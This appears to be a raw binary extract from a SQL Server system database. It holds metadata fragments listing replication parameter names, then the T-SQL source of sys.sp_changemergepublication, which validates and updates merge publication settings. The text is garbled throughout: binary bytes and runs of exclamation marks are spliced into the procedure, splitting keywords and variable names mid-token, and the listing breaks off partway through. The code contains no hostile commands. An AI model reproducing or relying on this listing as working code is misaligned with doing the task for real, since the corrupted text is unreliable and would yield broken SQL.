,@log_time_utc6 +"@message6 +@mode6 +0@monitor_server6 +L@monitor_server_security_mode6 +(@session_id6 +0@session_status6Bg@p1Qݣ6Qݣ@guid6Qݣ"@prefix16Qݣ"@prefix26Qݣ"@prefix36Qݣ"@prefix46}(create_time6}
 details6}"error_id6}(pdw_node_id6}&request_id6}&session_id6}source6}spid6}	$thread_id6}type644@capture_instance64.@ddl_operation64@capture_instance6:@datatype_mapping_id6 @map_id6_/"@article6_/0@destination_db6_/8@loopback_detection6_/*@publication6_/&@sync_type6p @dbname6p>@keepfulltextindexfile6p(@skipchecks6J.@table_catalog6J(@table_name6J(@table_name6J(@table_name6J,@table_schema6J,@table_schema6J,@table_schema6J,@table_schema6J,@table_server6~&catalog_id6~0completion_type6~Hcompletion_type_description6~(database_id6~.document_count6~Bdocument_processed_count6~<incremental_timestamp6)8@frequency_interval6)4@frequency_subday6)F@frequency_subday_interval6)J@frequency_relative_interval6)	J@frequency_recurrence_factor6)&@job_login6),@job_password6uS@pubid6uS0@AlterTableOnly6uS.@schemaversion6uSb@invalidateupload_schemachanges_for_ssce6uSL@filter_skipped_schemachanges6`d@mode!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!$Dj>lD^.~pBrL$vT2LjB"hL.`(


L
&
p@~L"


d
0
			~	F		l@|Flb6FtzV4f(dBj8\``B)*
.T6bC@skip6&@tablename6.@database_name6߯*@publication6߯&@publisher6߯,@publisher_db6߯@type6(@membername6$@rolename6| @ntname6J*@column_name6J*@fUsePattern6J"@ODBCVer6J(@table_name6J*@table_owner6J2@table_qualifier6&@EventData6&@procmapid6
*@avg_savings6
$@table_id6l`@artid6l`,@max_identity6)X,@fhasnullcols6)X$@viewname6&(@fk_catalog6&"@fk_name6&&@fk_schema6&(@pk_catalog6&"@pk_name6&&@pk_schema6& @server6&(DELETE_RULE6&.FK_COLUMN_GUID6&
.FK_COLUMN_NAME6&2FK_COLUMN_PROPID6&2FK_TABLE_CATALOG6&	,FK_TABLE_NAME6&0FK_TABLE_SCHEMA6&
 ORDINAL6&.PK_COLUMN_GUID6&.PK_COLUMN_NAME6&2PK_COLUMN_PROPID6&2PK_TABLE_CATALOG6&,PK_TABLE_NAME6&0PK_TABLE_SCHEMA6&(UPDATE_RULE6x.@filter_clause6x@owner6x@table6@mode6*@publication6	&@newregkey6	&@oldregkey6	(@param_name6	(@param_type6Z)&group_name6Z)$node_name6Z)8replica_server_name6%)4$@agent_id6%)4$@rowcount6%)4&@timestamp6s@.@error_message6s@,@error_number6WA@mode6E,default_value6E4has_default_value6E,is_cursor_ref6E
$is_output6E(is_readonly6E
0is_xml_document6E&max_length6Ename6Enumber6E$object_id6E*parameter_id6E$precision6E	scale6E.system_type_id6E*user_type_id6E4xml_collection_id6|G command6|G(database_id6|G2end_compile_time6|G"end_time6|G
"error_id6|G	label6|G&request_id6|G&session_id6|G&start_time6|Gstatus6|G(submit_time6|G6total_elapsed_time61c@@db_master_key_password61c6@distributor_login61c<@distributor_password61cF@distributor_security_mode61c
&@job_login61c,@job_password61c2@publisher_login61c	8@publisher_password61cB@publisher_security_mode61c4@subscriber_login61c:@subscriber_password61cD@subscriber_security_mode6Maj"@name_in6Maj$@name_out6k*@assembly_id6k.@assembly_name6k2@assembly_schema6v>active_fts_index_count6v<auto_population_count6v&catalog_id6v(database_id6vTfull_incremental_population_count6v*is_importing6v$is_paused6v
@manual_population_count6v.memory_address6vname6v0previous_status6v	Hprevious_status_description6v>row_count_in_thousands6vstatus6v6status_description6v
*worker_count6!z8@heartbeat_interval6P|(database_id6P|Ndatabase_transaction_begin_lsn6P|Pdatabase_transaction_begin_time6P|Pdatabase_transaction_commit_lsn6P|Ldatabase_transaction_last_lsn6P|^database_transaction_last_rollback_lsn6P|`database_transaction_log_bytes_reserved6P|
ndatabase_transaction_log_bytes_reserved_system6P|
Xdatabase_transaction_log_bytes_used6P|fdatabase_transaction_log_bytes_used_system6*@adjust_only6*@table_owner6'@artid6۩@pubid6yj@p16yj@p26yj@p36yj@p4`:@zB>b8ZnVnLX VnF(


x
V
$
~P4d4


\
@

			x	@		Z0R&fFX*rL*hDrJ(hL 8|`2A>)`$
XE6Nspid6]&@inlineage6]$@metatype6]@pubid6]"@rowguid6]&@tablenick6F@@artid6F@>@ignore_merge_metadata6F@@pubid61"@article61$@defaults61*@publication61&@publisher610@publication_id6["@queueid6[*@queueserver6E4@capture_instance6E*@source_name6E.@source_schema6d(@agent_name6d@hours6d*@publication6d&@publisher6d,@publisher_db6d,@session_type6e"@Catalog6e @Column6e@Owner6e(@SchemaType6e@Table68(@name_in_db6h>available_page_file_kb6hJavailable_physical_memory_kb6h@kernel_nonpaged_pool_kb6] @incolv6]N@logical_record_parent_rowguid6&@publisher6,@publisher_db6*@publication6*@description6@pubid6&@retention6&@sync_mode6(@allow_push6	(@allow_pull6
2@allow_anonymous64@conflict_logging6 @status6
0@snapshot_ready6<@enabled_for_internet64@publication_type68@conflict_retention6B@allow_subscription_copy6>@allow_synctoalternate6:@backward_comp_level6.@replicate_ddl6>@retention_period_unit6,@replnickname6N@generation_leveling_threshold6V@automatic_reinitialization_policy6I@pubid6I@artid<rR0jBj	
	Z4D
Jr	
4	Dl:H*z
`+)j@
AtU6g"@maxrows6g"@rowguid6g&@tablenick6h @source6h(@source_opt6hdata6htype6{@artid6{&@publisher6{.@publishertype6'z@artid6'z(@subscriber6'z.@subscriber_db6$@newvalue6>*@publication6>(@subscriber6>.@subscriber_db6>,@upload_first6S*@publication6S&@publisher6& @handle6&$column_id6&(column_name6&*column_usage6@artid6@bm6R&@host_name6R*@publication6R*@suser_sname65@artid65@pubid6,@group_number60@parameter_name60@procedure_name64@procedure_schema6
BCHARACTER_MAXIMUM_LENGTH6HCHARACTER_MAXIMUM_LENGTH_906>CHARACTER_OCTET_LENGTH6DCHARACTER_OCTET_LENGTH_906g@pubid6g&@oldmaxgen6g @mingen6gB@maxschemaguidforarticleVZ*h>lL&zP,dF,`<(
}@v@'--
-- Name: sp_changemergepublication
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_changemergepublication (
    @publication sysname,               /* Publication name */
    @property sysname = NULL,           /* The property to change */
    @value nvarchar(255) = NULL,        /* The new property value */
    @force_invalidate_snapshot bit = 0, /* Force invalidate existing snapshot */
    @force_reinit_subscription bit = 0  /* Force reinit subscription */
    ) AS

    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    declare @max_concurrent_merge   int
    declare @cmd                nvarchar(255)
    declare @pubid              uniqueidentifier
    declare @pubidstr           nvarchar(38)
    declare @retcode            int
    declare @statusid           tinyint
    declare @sync_modeid        tinyint
    declare @distributor        sysname
    declare @distproc           nvarchar(300)
    declare @value_bit          bit
    declare @snapshot_ready     tinyint
    declare @subscribed         int
    declare @dbname             sysname
    declare @distribdb          sysname
    declare @alt_snapshot_folder nvarchar(255)
    declare @enabled_for_internet bit
    declare @ftp_address        sysname
    declare @enc_ftp_password   nvarchar(524)
    declare @snapshot_in_defaultfolder bit
    declare @dynamic_filters_id int
    declare @schemaversion      int 
    declare @schemaguid         uniqueidentifier
    declare @schematype         int
    declare @schematext         nvarchar(2000)
    declare @artid              uniqueidentifier
    declare @in_ActiveD         bit
    declare @ad_guidname        sysname
    declare @db_name            sysname
    declare @compress_snapshot  bit
    declare @numeric_value      int
    declare @dynamic_filters    bit
    declare @publication_number smallint
    declare @REPOLEVersion_70RTM        int
    declare @REPOLEVersion_70SP1        int
    declare @REPOLEVersion_70SP2        int
    declare @REPOLEVersion_80RTM        int
    declare @REPOLEVersion_90           int
    declare @REPOLEVersion_100           int    

    declare @REPOLEVersion_70RTM_string     nvarchar(5)
    declare @REPOLEVersion_70SP1_string     nvarchar(5)
    declare @REPOLEVersion_70SP2_string     nvarchar(5)
    declare @REPOLEVersion_70SP3_string     nvarchar(5)
    declare @REPOLEVersion_70SP4_string     nvarchar(5)
    declare @REPOLEVersion_80RTM_string     nvarchar(5)
    declare @REPOLEVersion_80SP1_string     nvarchar(5)
    declare @REPOLEVersion_80SP2_string     nvarchar(5)
    declare @REPOLEVersion_80SP3_string     nvarchar(5)
    declare @REPOLEVersion_90RTM_string     nvarchar(5)
    declare @REPOLEVersion_100RTM_string   nvarchar(6)    

    declare @compatlevel int
    declare @SCHEMA_TYPE_DROPARTICLE int
    declare @SCHEMA_TYPE_RETENTIONCHANGE int
    declare @SCHEMA_TYPE_RETENTIONUNITCHANGE int
    declare @SCHEMA_TYPE_BACKWARD_COMPAT_LEVEL int
    declare @SCHEMA_TYPE_VALIDATE_SUBSCRIBERINFO int
    declare @SCHEMA_TYPE_CHANGE_MERGE_PUBLICATION_90RTM int
    declare @previousnumericvalue       int
    declare @previousbitvalue           bit
    declare @eventtype                  tinyint
    declare @retention_period_unit  tinyint
    declare @retention              int 
    declare @buildnumber nvarchar(128)
    declare @upload_options tinyint
    declare @automatic_reinitialization_policy bit
    			,@publishingservername sysname
    declare @got_merge_admin_applock bit

    select @got_merge_admin_applock = 0

    set @property= LOWER(@property collate SQL_Latin1_General_CP1_CS_AS)
    
    select @subscribed = 1
    select @snapshot_ready = 1
    select @db_name=db_name()
    		,@publishingservername = publishingservername()

    set @REPOLEVersion_70RTM= 10
    set @REPOLEVersion_70SP1= 20
    set @REPOLEVersion_70SP2= 30
    set @REPOLEVersion_80RTM= 40
    set @REPOLEVersion_90= 90
    set @REPOLEVersion_100=100

    set @REPOLEVersion_70RTM_string = N'70RTM'
    set @REPOLEVersion_70SP1_string = N'70SP1'
    set @REPOLEVersion_70SP2_string = N'70SP2'
    set @REPOLEVersion_70SP3_string = N'70SP3'
    set @REPOLEVersion_70SP4_string = N'70SP4'
    set @REPOLEVersion_80RTM_string = N'80RTM'
    set @REPOLEVersion_80SP1_string = N'80SP1'
    set @REPOLEVersion_80SP2_string = N'80SP2'
    set @REPOLEVersion_80SP3_string = N'80SP3'
    set @REPOLEVersion_90RTM_string = N'90RTM'
    set @REPOLEVersion_100RTM_string = N'100RTM'

    set @SCHEMA_TYPE_RETENTIONCHANGE= 9
    set @SCHEMA_TYPE_BACKWARD_COMPAT_LEVEL= 18
    set @SCHEMA_TYPE_VALIDATE_SUBSCRIBERINFO= 19
    set @SCHEMA_TYPE_RETENTIONUNITCHANGE = 29
    set @SCHEMA_TYPE_DROPARTICLE = 28
    set @SCHEMA_TYPE_CHANGE_MERGE_PUBLICATION_90RTM = 302

    -- Security Check
    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)

    -- make sure current database is enabled for merge replication
    exec @retcode=sys.sp_MSCheckmergereplication
    if @@ERROR<>0 or @retcode<>0
        return (1)
            
    -- build table for subsequent checks of @property parameter
    CREATE TABLE #tab1 (property sysname collate database_default, allownull bit default(0))
    INSERT INTO #tab1 (property,allownull) VALUES ('description',1)
    INSERT INTO #tab1 (property) VALUES ('status')
    INSERT INTO #tab1 (property) VALUES ('retention')
    INSERT INTO #tab1 (property) VALUES ('retention_period_unit')
    INSERT INTO #tab1 (property) VALUES ('sync_mode')
    INSERT INTO #tab1 (property) VALUES ('allow_push')
    INSERT INTO #tab1 (property) VALUES ('allow_pull')
    INSERT INTO #tab1 (property) VALUES ('allow_anonymous')
    INSERT INTO #tab1 (property) VALUES ('enabled_for_internet')
    INSERT INTO #tab1 (property) VALUES ('centralized_conflicts')
    INSERT INTO #tab1 (property) VALUES ('conflict_logging')
    INSERT INTO #tab1 (property) VALUES ('snapshot_ready')
    INSERT INTO #tab1 (property) VALUES ('snapshot_in_defaultfolder')
    INSERT INTO #tab1 (property,allownull) VALUES ('alt_snapshot_folder',1)
    INSERT INTO #tab1 (property,allownull) VALUES ('pre_snapshot_script',1)
    INSERT INTO #tab1 (property,allownull) VALUES ('post_snapshot_script',1)
    INSERT INTO #tab1 (property) VALUES ('compress_snapshot')
    INSERT INTO #tab1 (property,allownull) VALUES ('ftp_address',1)
    INSERT INTO #tab1 (property) VALUES ('ftp_port')
    INSERT INTO #tab1 (property,allownull) VALUES ('ftp_subdirectory',1)
    INSERT INTO #tab1 (property,allownull) VALUES ('ftp_login',1)
    INSERT INTO #tab1 (property,allownull) VALUES ('ftp_password',1)
    INSERT INTO #tab1 (property) VALUES ('conflict_retention')
    INSERT INTO #tab1 (property) VALUES ('allow_subscription_copy')
    INSERT INTO #tab1 (property) VALUES ('allow_synctoalternate')
    INSERT INTO #tab1 (property) VALUES ('validate_subscriber_info')
    INSERT INTO #tab1 (property) VALUES ('publish_to_ActiveDirectory')
    INSERT INTO #tab1 (property) VALUES ('dynamic_filters')
    INSERT INTO #tab1 (property,allownull) VALUES ('max_concurrent_merge',1)
    INSERT INTO #tab1 (property) VALUES ('max_concurrent_dynamic_snapshots')
    INSERT INTO #tab1 (property,allownull) VALUES ('publication_compatibility_level',1)
    INSERT INTO #tab1 (property) VALUES ('use_partition_groups')
    INSERT INTO #tab1 (property) VALUES ('allow_subscriber_initiated_snapshot')
    INSERT INTO #tab1 (property) VALUES ('keep_partition_changes')
    INSERT INTO #tab1 (property) VALUES ('replicate_ddl')
    INSERT INTO #tab1 (property) VALUES ('allow_web_synchronization')
    INSERT INTO #tab1 (property) VALUES ('web_synchronization_url')
    INSERT INTO #tab1 (property) VALU!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
}@%dv@'ES ('allow_partition_realignment')
    INSERT INTO #tab1 (property) VALUES ('generation_leveling_threshold')
    INSERT INTO #tab1 (property) VALUES ('automatic_reinitialization_policy')
    
    /*
    ** Parameter Check:  @property.
    ** If the @property parameter is NULL, print the options.
    */
    if @property IS NULL
    BEGIN
        select property FROM #tab1 order by property
        RETURN (0)
    END

    if @value is NULL and @property in (select property from #tab1 where allownull=0)
    begin
        RAISERROR (20081, 16, -1, @property)
        RETURN (1)
    end

    /*
    ** Parameter Check:  @publication.
    ** Make sure that the publication exists.
    */

    if @publication IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publication', 'sp_changemergepublication')
        RETURN (1)
    END

    select @pubid = pubid, 
           @ad_guidname=ad_guidname, --with value NULL if this publication is not in AD.
           @snapshot_ready=snapshot_ready,
           @dynamic_filters_id=dynamic_filters,
           @sync_modeid = sync_mode, 
           @alt_snapshot_folder = alt_snapshot_folder,
           @enabled_for_internet = enabled_for_internet,
           @ftp_address = ftp_address,
           @snapshot_in_defaultfolder = snapshot_in_defaultfolder,
           @compress_snapshot = compress_snapshot,
           @in_ActiveD = case when ad_guidname is NULL then 0 else 1 end,
           @compatlevel = backward_comp_level,
           @retention = retention,
           @retention_period_unit = retention_period_unit,
           @automatic_reinitialization_policy = automatic_reinitialization_policy
      FROM dbo.sysmergepublications 
     WHERE name = @publication  and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
    set @pubidstr = '''' + convert(nchar(36), @pubid) + ''''

    if @pubid IS NULL
        BEGIN
            RAISERROR (20026, 16, -1, @publication)
            RETURN (1)
        END
    else

    /*
    ** Parameter Check:  @property.
    ** Check to make sure that @property is a valid property in
    ** dbo.sysmergepublications.
    */
    if @property NOT IN (select property from #tab1)
    BEGIN
        RAISERROR (21053, 16, -1, @property)
        RETURN (1)
    END
    
    /*
    ** Parameter Check:
    ** If sync_method of the publication is character mode (an indication that it supports
    ** third party Subscribers), pre/post-snapshot setting must be null   
    **
    */
    IF @sync_modeid = 1 
    BEGIN
        IF (@property = 'pre_snapshot_script' OR @property = 'post_snapshot_script') 
            AND
            @value IS NOT NULL 
            AND 
            @value <> ''
        BEGIN
            RAISERROR (21151, 16, -1)
            RETURN (1)
        END   
    END

    /*
    ** Parameter Check:
    ** If the Publication's alt_snapshot_folder setting is null 
    ** snapshot compression cannot be enabled
    */
    IF ((@alt_snapshot_folder IS NULL OR @alt_snapshot_folder = '')) 
        AND @property = 'compress_snapshot'
        AND LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'true'   
    BEGIN
        RAISERROR (21157, 16, -1)        
        RETURN (1)
    END

    /* 
    ** Parameter Check:
    ** If enabled_for_internet is set to true, the publication must have a non-null
    ** ftp_address.
    */
    IF @property = N'enabled_for_internet' AND
       LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = N'true' AND 
       (@ftp_address IS NULL OR @ftp_address = N'')
    BEGIN
        RAISERROR(21158, 16, -1)
        RETURN (1)
    END

    /*
    ** .. and ftp_address cannot be null if the publication is enabled for 
    ** internet.
    */
/*
    IF @enabled_for_internet = 1 AND
      (@property = N'ftp_address'
        AND (@value IS NULL OR @value = N''))
    BEGIN
        RAISERROR(21158, 16, -1)
        RETURN (1)
    END
*/

/*
    IF @enabled_for_internet = 1 AND
       (@property = N'alt_snapshot_folder' AND
        (LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) IS NULL OR LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = N''))
    BEGIN
        RAISERROR(21159, 16, -1)
        RETURN (1)
    END  
*/


    /*
    ** Parameter Check:
    ** 'ftp_port' cannot be null or negative
    */
    IF @property = N'ftp_port' AND (@value IS NULL OR CONVERT(int, @value) < 0 OR CONVERT(int, @value) > 65535)
    BEGIN
        RAISERROR (21160, 16, -1)
        RETURN (1)
    END

    BEGIN TRAN changemergepublication    
    save tran changemergepublication

    exec @retcode = sys.sp_MSgetmergeadminapplock @timeout = 0, -- no wait
                                                  @lockowner = N'Transaction'
    if @retcode<>0 or @@error<>0
    begin
        raiserror(20713, 16, -1, 'sp_changemergepublication', @publication)
        goto UNDO
    end

    select @got_merge_admin_applock = 1

    /*
    ** Changing of the following properties would require a snapshot rerun, if snapshot is ready
    */
    if (@property like 'ftp%' OR @property in ('sync_mode', 'snapshot_in_defaultfolder',
            'alt_snapshot_folder', 'pre_snapshot_script', 'post_snapshot_script','compress_snapshot','keep_partition_changes',
            'use_partition_groups', 'publication_compatibility_level'))
    and @snapshot_ready = 1
    begin
        if @force_invalidate_snapshot = 0 and @snapshot_ready = 1
        begin
            raiserror(20607, 16, -1)
            goto UNDO
        end
        update dbo.sysmergepublications set snapshot_ready=2 where pubid=@pubid and snapshot_ready=1
        if @@ERROR<>0   GOTO UNDO
    end
    
    -- Parameter check: @publication_compatibility_level
    if @property = N'publication_compatibility_level'
    begin
        declare @pubcompat_level_id int
        declare @effectivecomplevel int
        declare @feature nvarchar(4000)

        if UPPER(@value collate SQL_Latin1_General_CP1_CS_AS) = @REPOLEVersion_70RTM_string
        begin
            select @pubcompat_level_id = @REPOLEVersion_70RTM
        end
        else if UPPER(@value collate SQL_Latin1_General_CP1_CS_AS) = @REPOLEVersion_70SP1_string
        begin
            select @pubcompat_level_id = @REPOLEVersion_70SP1
        end
        else if UPPER(@value collate SQL_Latin1_General_CP1_CS_AS) = @REPOLEVersion_70SP2_string
        begin
            select @pubcompat_level_id = @REPOLEVersion_70SP2
        end
        else if UPPER(@value collate SQL_Latin1_General_CP1_CS_AS) = @REPOLEVersion_70SP3_string
        begin
            select @pubcompat_level_id = @REPOLEVersion_70SP2
        end
        else if UPPER(@value collate SQL_Latin1_General_CP1_CS_AS) = @REPOLEVersion_70SP4_string
        begin
            select @pubcompat_level_id = @REPOLEVersion_70SP2
        end
        else if UPPER(@value collate SQL_Latin1_General_CP1_CS_AS) = @REPOLEVersion_80RTM_string
        begin
            select @pubcompat_level_id = @REPOLEVersion_80RTM
        end
        else if UPPER(@value collate SQL_Latin1_General_CP1_CS_AS) = @REPOLEVersion_80SP1_string
        begin
            select @pubcompat_level_id = @REPOLEVersion_80RTM
        end
        else if UPPER(@value collate SQL_Latin1_General_CP1_CS_AS) = @REPOLEVersion_80SP2_string
        begin
            select @pubcompat_level_id = @REPOLEVersion_80RTM
        end
        else if UPPER(@value collate SQL_Latin1_General_CP1_CS_AS) = @REPOLEVersion_80SP3_string
        begin
            select @pubcompat_level_id = @REPOLEVersion_80RTM
        end
        else if UPPER(@value collate SQL_Latin1_General_CP1_CS_AS) = @REPOLEVersion_90RTM_string
        begin
            select @pubcompat_level_id = @REPOLEVersion_90
        end
        else if UPPER(@value collate SQL_Latin1_General_CP1_CS_AS) = @REPOLEVersion_100RTM_string
        begin
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
}@ n*v@'
            select @pubcompat_level_id = @REPOLEVersion_100
        end        
        else 
        begin
            raiserror(21402, 16, -1, '@publication_compatibility_level')
            goto UNDO
        end

        if @@error<> 0 or @pubcompat_level_id not in
            (
                @REPOLEVersion_70RTM,
                @REPOLEVersion_70SP1,
                @REPOLEVersion_70SP2,
                @REPOLEVersion_80RTM,
                @REPOLEVersion_90,
                @REPOLEVersion_100                
            )
        begin
            raiserror(21402, 16, -1, '@publication_compatibility_level')
            goto UNDO
        end
        
        /* Get the previous value */
        select @previousnumericvalue = backward_comp_level from  dbo.sysmergepublications 
        WHERE pubid = @pubid
        
        if @previousnumericvalue > @pubcompat_level_id
        begin
            raiserror(22562, 16, -1)
            goto UNDO
        end

        exec @retcode = sys.sp_MSget_effective_pub_compat_level @pubid, @effectivecomplevel output, @feature output, @buildnumber output
        if @retcode <>0 or @@error <> 0
        begin
            raiserror(21402, 16, -1, '@publication_compatibility_level')
            goto UNDO
        end

        if @buildnumber is not null and
           @pubcompat_level_id = @effectivecomplevel
        begin
            raiserror(20004, 10, -1, @publication, @feature, @buildnumber)
        end
            
        if @pubcompat_level_id < @effectivecomplevel
        begin
            raiserror(20651, 16, -1, @publication, @feature, @effectivecomplevel)
            goto UNDO
        end

        UPDATE dbo.sysmergepublications  SET backward_comp_level = @pubcompat_level_id WHERE pubid = @pubid 
        if @@ERROR <> 0 
            GOTO UNDO

        /*  Insert event in the MSmerge_settingshistory table if the
        new value is different from the old value
        Look in replsys.sql where the table is created for more
        details about what is in this table. */
        
        if (@previousnumericvalue <> @pubcompat_level_id)
        begin
            select @eventtype       = 2 -- Change in publication level property
            
            insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
            values (default,@pubid,NULL,@eventtype,@property,@previousnumericvalue,@pubcompat_level_id,NULL)
        end

        select @schemaversion = schemaversion from dbo.sysmergeschemachange
        if (@schemaversion is NULL)
            set @schemaversion = 1
        else
            select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange
            
        set @schemaguid = newid()
        set @artid = null
        set @schematype= @SCHEMA_TYPE_BACKWARD_COMPAT_LEVEL
        select @schematext = 'update dbo.sysmergepublications set backward_comp_level=' + cast(@pubcompat_level_id as nvarchar(5)) + ' where pubid=''' + cast(@pubid as nchar(36)) + ''''     
        exec @retcode=sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext
        if @@ERROR<>0 or @retcode<>0 goto UNDO    
    end


    if @property='dynamic_filters' 
    begin
        if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'true' 
            select @dynamic_filters_id = 1
        else if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'false' 
            select @dynamic_filters_id = 0
            else
            begin
                raiserror(14137, 16, -1)
                goto UNDO
            end

        declare @previousDynFiltBit int
        select @previousDynFiltBit = dynamic_filters from dbo.sysmergepublications where pubid = @pubid

        if @snapshot_ready>0
        begin
            if @force_invalidate_snapshot = 0 and @snapshot_ready = 1
            begin
                raiserror(20607, 16, -1)
                goto UNDO
            end
            if @force_reinit_subscription = 0
            begin
                raiserror(20608, 16, -1)
                goto UNDO
            end

            -- we should also delete all existing schemachanges for this publication in sysmergeschemachange
            -- this is in order to avoid a number of the problems we have been having with schema processing
            delete from dbo.sysmergeschemachange where pubid = @pubid and schematype not in (@SCHEMA_TYPE_DROPARTICLE)

            update dbo.sysmergepublications set dynamic_filters=@dynamic_filters_id, snapshot_ready=2 where pubid=@pubid
            if @@ERROR<>0
                goto UNDO
            exec @retcode = sys.sp_MSreinitmergepublication 
                                    @publication = @publication,
                                    @upload_first = @automatic_reinitialization_policy
            if @retcode<>0 or @@ERROR<>0
                goto UNDO
        end
        else
        begin
            update dbo.sysmergepublications set dynamic_filters=@dynamic_filters_id where pubid=@pubid
            if @@ERROR<>0
                goto UNDO       
        end

        -- Insert event into MSmerge_settingshistory
        if (@previousDynFiltBit <> @dynamic_filters_id)
        begin
            select @eventtype       = 2 -- Change in publication level property
    
            insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
            values (default,@pubid,NULL,@eventtype,@property,@previousDynFiltBit,@dynamic_filters_id,NULL)
        end
    end
    
    if @property='validate_subscriber_info'
    begin
        if @value is not NULL
        begin
            if @dynamic_filters_id = 0
            begin
                raiserror(21313, 16, -1)
                GOTO UNDO
            end
            if exists (select * from dbo.sysmergesubscriptions where pubid=@pubid and subid<>@pubid and status<>0)
            begin
                if @force_reinit_subscription = 0
                begin
                    raiserror(20643, 16, -1, @publication)
                    GOTO UNDO
                end
                else
                begin
                    exec @retcode = sys.sp_MSreinitmergepublication 
                                            @publication = @publication,
                                            @upload_first = @automatic_reinitialization_policy
                    if @retcode<>0 or @@ERROR<>0 goto UNDO
                end
            end 
        end
        
        declare @previousValSubInfo nvarchar(500)
        SELECT @previousValSubInfo = validate_subscriber_info from dbo.sysmergepublications WHERE pubid = @pubid

        UPDATE dbo.sysmergepublications  SET validate_subscriber_info = @value WHERE pubid = @pubid
        if @@ERROR <> 0 GOTO UNDO

        -- Although a reinit will occur, we add the schemachange so that we can tell
        -- SSCE about the publication property being changed.
        select @schemaversion = schemaversion from dbo.sysmergeschemachange
        if (@schemaversion is NULL)
            set @schemaversion = 1
        else
            select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange
            
        set @schemaguid = newid()
        set @artid = null
        set @schematype= @SCHEMA_TYPE_VALIDATE_SUBSCRIBERINFO
        select @schematext = 'update dbo.sysmergepublications set validate_subscriber_info=''' + replace(@value, '''', '''''') + ''' where pubid=''' + cast(@pubid as nchar(36)) + ''''      
        exec @retcode=sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext
        if @@ERROR<>0 or @retcode<>0 goto UNDO    

        -- Insert event into MSmerge_settingshistory
        if (@previousValSubInfo <> @val!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
}@"_v@'ue)
        begin
            select @eventtype       = 2 -- Change in publication level property
    
            insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
            values (default,@pubid,NULL,@eventtype,@property,@previousValSubInfo,@value,NULL)
        end

    end

  
    if @property IN ('description')
        BEGIN
            declare @previousDesc nvarchar(255)            
            SELECT @previousDesc = description FROM dbo.sysmergepublications WHERE pubid = @pubid
            UPDATE dbo.sysmergepublications  SET description = @value WHERE pubid = @pubid
            if @@ERROR <> 0 GOTO UNDO

            -- Insert event into MSmerge_settingshistory
            if (@previousDesc <> @value)
            begin
                select @eventtype       = 2 -- Change in publication level property

                insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
                values (default,@pubid,NULL,@eventtype,@property,@previousDesc,@value,NULL)
            end

        END

  
    if @property = 'status'
    BEGIN

        /*
        ** Check to make sure that we have a valid status.
        */

        if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('active', 'inactive')
            BEGIN
                RAISERROR (14012, 16, -1)
                GOTO UNDO
            END

        /*
        ** Determine the integer value for the status.
        */

        if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'active'
            select @statusid = 1
        else
            select @statusid = 0
            
            
		-- if the status is being set to 1, then get the publication ready enough to be able to add merge partitions irrespective of whether
		-- or not the snapshot has been run.
		if @statusid = 1
		begin
			exec @retcode = sys.sp_MSpublicationview @publication
			if @@error <> 0 or @retcode <> 0 goto UNDO
			
			exec @retcode = sys.sp_MSset_dynamic_filter_options @publication
			if @@error <> 0 goto UNDO
			
			if exists (select * from dbo.sysmergepublications where pubid = @pubid and use_partition_groups = 2)
			begin
				exec @retcode = sys.sp_MSsetup_use_partition_groups @publication
				if @@error <> 0 goto UNDO
			end
		end
		
        /*
        ** Update the publication with the new status.
        */
        declare @previousStatus tinyint
        SELECT @previousStatus = status FROM dbo.sysmergepublications WHERE pubid = @pubid
        UPDATE dbo.sysmergepublications SET status = @statusid WHERE pubid = @pubid

        if @@ERROR <> 0 GOTO UNDO

